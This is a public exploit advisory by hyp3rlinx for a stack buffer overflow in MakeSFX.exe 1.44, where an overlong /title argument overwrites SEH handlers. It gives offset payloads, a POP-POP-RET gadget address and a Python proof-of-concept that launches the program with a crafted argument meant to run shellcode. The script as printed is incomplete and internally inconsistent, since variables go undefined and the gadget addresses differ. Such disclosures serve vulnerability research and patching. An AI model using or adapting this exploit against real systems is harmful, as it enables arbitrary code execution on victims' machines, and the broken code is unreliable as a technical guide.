MakeSFX.exe 1.44 - Stack Buffer Overflow Exploit

ID 1337DAY-ID-24329
Type zdt
Reporter hyp3rlinx
Modified 2015-10-01T00:00:00


Exploit for windows platform in category dos / poc

[+] Credits: John Page aka hyp3rlinx
Vulnerable Product:
MakeSFX.exe v1.44
Mar 19 2001 & Dec 10 2009 versions
Vulnerability Type:
Stack Based Buffer Overflow
CVE Reference:
Vulnerability Details:
Converts a zip file into a 32-bit GUI Windows self-extractor.
Example usage:
makesfx.exe /zip="" /sfx="output.exe" [/title="Your Title"]
[/website=""] [/intro="This is a test self extractor"]
[/defaultpath="$desktop$\My Files"] [/autoextract] [/openexplorerwindow]
[/shortcut="$desktop$\Program Shortcut.lnk|$targetdir$\Program.exe]
[/delete] [/icon="MyIcon.ico"] [/overwrite] [/?]
The '/title' argument when supplied an overly long payload will overwrite
NSEH & SEH exception handlers
causing buffer overflow, we can then execute our aribitrary shellcode. I
have seen some applications using
MakeSFX.exe from .bat files for some automation purposes, if the local .bat
file is replaced by malicious
one attackers can cause mayhem on the system.
Both versions from 2001 & 2009 are vulnerable but exploit setup will be off
by 20 bytes.
punksnotdead="A"*1078+"RRRR"+"BBBB" #<---- SEH Handler control MakeSFX
v1.44 (Dec 10 2009)
punksnotdead="A"*1158+"RRRR"+"BBBB" #<---- SEH Handler control MakeSFX
v1.44 (Mar 19 2001)
POC exploit code(s):
We will exploit MakeSFX v1.44 (Mar 19 2001).
I find one POP,POP,RET instruction in MakeSFX.exe with ASLR, SafeSEH,
Rebase all set to False, but it contains null 0x00.
So no suitable SEH instruction address avail, I will instead have to use to look for POP,POP,RET instruction
in outside modules and we find some...
0x77319529 : pop esi # pop edi # ret  |  {PAGE_READONLY}
Python script to exploitz!
import struct,os,subprocess
#MakeSFX v1.44 (Mar 19 2001)
pgm="C:\\hyp3rlinx\\MakeSFX.exe "
#shellcode to pop calc.exe
#punksnotdead="A"*1158+"RRRR"+"BBBB" #<--- KABOOOOOOM!
seh=struct.pack('<L', 0x76F29529)
punksnotdead="/title"+"A"*1158 + nseh + seh + sc + "\x90"*10
subprocess.Popen([pgm, punksnotdead], shell=False)
Disclosure Timeline:
Vendor Notification:  NA
Sept 30, 2015  : Public Disclosure
Exploitation Technique:
Tested successfully on Windows SP1
DisableExceptionChainValidation in registry set to '1'
value of 1 disables the registry entry that prevents SEH overwrites.
[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.
by hyp3rlinx

# [2018-01-10]  #